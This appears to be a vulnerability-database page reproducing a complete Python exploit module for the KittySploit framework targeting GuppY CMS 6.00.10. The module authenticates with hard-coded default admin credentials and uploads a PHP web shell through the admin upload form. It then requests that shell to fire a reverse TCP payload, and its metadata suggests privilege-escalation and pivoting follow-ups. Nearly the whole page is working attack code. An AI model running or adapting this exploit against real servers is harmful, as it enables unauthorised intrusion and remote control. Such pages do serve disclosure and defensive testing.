Lucene search
+L

GuppY CMS 6.00.10 - Remote Code Execution

🗓️ 03 Dec 2025 01:30:26Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Authenticated RCE in GuppY CMS via shell upload for arbitrary command execution.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from urllib.parse import urlencode

class Module(Exploit, Http_client):
    
    __info__ = {
        "name": "GuppY CMS 6.00.10 - Remote Code Execution",
        "description": "GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability. An attacker can authenticate with default credentials and upload a PHP shell to execute arbitrary commands.",
        "author": ["indoushka", "KittySploit Team"],
        "cve": "",
        "platform": Platform.UNIX,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "platform": Platform.UNIX,
            "arch": Arch.PHP,
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://www.freeguppy.org/",
            "https://packetstorm.news/files/id/168584/"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }
    
    rhost = OptString("", "Target GuppY CMS hostname or IP", required=True)
    rport = OptPort(80, "Target port", required=True)
    ssl = OptBool(False, "Use SSL/TLS", required=True)
    verify_ssl = OptBool(False, "Verify SSL certificate", required=True)
    
    # Authentication options
    username = OptString("Admin", "Admin username", required=False)
    password = OptString("rose1337", "Admin password", required=False)
    
    def _login(self):
        """Authenticate to GuppY CMS"""
        try:
            
            print_info(f"Attempting to authenticate to {self.rhost}:{self.rport}...")
            print_info(f"Username: {self.username}")
            
            # Login URL
            login_path = "/guppy/connect.php"
            
            # Login POST data
            login_data = {
                "connect": "on",
                "uuser": "old",
                "pseudo": self.username,
                "uid": self.password
            }
            
            # Make login request with session cookies
            response = self.http_request(
                method="POST",
                path=login_path,
                data=login_data,
                session=True
            )
            
            if not response:
                print_error("No response from login endpoint")
                return False
            
            # Check if login was successful
            # Successful login usually redirects or returns specific content
            response_text = response.text if hasattr(response, 'text') else str(response)
            status_code = response.status_code if hasattr(response, 'status_code') else 0
            
            # Check for common login failure indicators
            if "error" in response_text.lower() or "failed" in response_text.lower():
                print_error("Login failed - invalid credentials")
                return False
            
            # If we get a redirect or 200, assume login succeeded
            if status_code in [200, 301, 302, 303, 307, 308]:
                print_success("Authentication successful")
                return True
            else:
                print_error(f"Login failed - HTTP {status_code}")
                return False
                
        except Exception as e:
            print_error(f"Login failed: {e}")
            return False
    
    def _upload_shell(self):
        """Upload PHP shell to the server"""
        try:
            
            print_info("Uploading PHP shell...")
            
            # Generate random filename
            shell_filename = self.random_text(8) + ".php"
            
            # Create PHP shell payload
            # The shell will execute the payload when accessed
            shell_content = f"<?php {self.payload} ?>"
            
            # Upload URL
            upload_path = "/guppy/admin/admin.php?lng=en&pg=upload"
            
            # Prepare multipart form data (matching POC format)
            boundary = "----WebKitFormBoundarygA1APFcUlkIaWal4"
            
            # Build multipart form data exactly as in POC
            multipart_data = f"""------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="rep"

file
------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="ficup"; filename="{shell_filename}"
Content-Type: application/x-php

{shell_content}
------WebKitFormBoundarygA1APFcUlkIaWal4--
"""
            
            headers = {
                'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
                'User-Agent': 'Mozilla/5.0',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'en-US,en;q=0.9'
            }
            
            # Upload the shell
            response = self.http_request(
                method="POST",
                path=upload_path,
                data=multipart_data,
                headers=headers,
                session=True
            )
            
            if not response:
                print_error("No response from upload endpoint")
                return False
            
            status_code = response.status_code if hasattr(response, 'status_code') else 0
            
            if status_code in [200, 301, 302]:
                print_success(f"Shell uploaded successfully: {shell_filename}")
                return shell_filename
            else:
                print_error(f"Upload failed - HTTP {status_code}")
                return False
                
        except Exception as e:
            print_error(f"Upload failed: {e}")
            return False
    
    def check(self):
        """Check if target is vulnerable"""
        try:
            
            print_info(f"Checking {self.rhost}:{self.rport} for GuppY CMS 6.00.10...")
            
            # Try to access GuppY CMS
            try:
                response = self.http_request(
                    method="GET",
                    path="/guppy/",
                    timeout=10
                )
                
                if not response:
                    return {
                        'vulnerable': False,
                        'reason': 'No response from server',
                        'confidence': 'low'
                    }
                
                response_text = response.text if hasattr(response, 'text') else str(response)
                
                # Check for GuppY CMS indicators
                if 'guppy' in response_text.lower() or 'guppy' in response.headers.get('Server', '').lower():
                    # Try default login
                    if self._login():
                        return {
                            'vulnerable': True,
                            'reason': 'GuppY CMS detected and default credentials work',
                            'confidence': 'high'
                        }
                    else:
                        return {
                            'vulnerable': True,
                            'reason': 'GuppY CMS detected (authentication may be required)',
                            'confidence': 'medium'
                        }
                else:
                    return {
                        'vulnerable': False,
                        'reason': 'GuppY CMS not detected',
                        'confidence': 'low'
                    }
                    
            except Exception as e:
                return {
                    'vulnerable': False,
                    'reason': f'Cannot connect: {e}',
                    'confidence': 'low'
                }
                
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {e}',
                'confidence': 'low'
            }
    
    def run(self):
        """Execute the exploit"""
        try:
            
            print_info(f"Target: {self.rhost}:{self.rport}")
            print_warning("GuppY CMS 6.00.10 - Authenticated Remote Code Execution")
            
            # Step 1: Authenticate
            if not self._login():
                print_error("Authentication failed. Try different credentials.")
                fail.Message("Exploit failed: Authentication failed")
                return False
            
            # Step 2: Upload shell
            shell_filename = self._upload_shell()
            if not shell_filename:
                print_error("Shell upload failed")
                fail.Message("Exploit failed: Shell upload failed")
                return False
            
            # Step 3: Execute payload via uploaded shell
            print_info("Executing payload via uploaded shell...")
            
            shell_path = f"/guppy/file/{shell_filename}"
            
            # Access the shell to trigger payload execution
            response = self.http_request(
                method="GET",
                path=shell_path,
                timeout=30
            )
            
            if not response:
                print_error("Failed to execute shell")
                fail.Message("Exploit failed: Failed to execute shell")
                return False
            
            status_code = response.status_code if hasattr(response, 'status_code') else 0
            
            if status_code == 200:
                print_success("Payload executed successfully!")
            else:
                print_warning(f"Shell accessed but returned HTTP {status_code}")
                print_info("Payload may still have executed - check your listener")
                
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            fail.Message(f"Exploitation failed: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
6.7Medium risk
Vulners AI Score6.7
0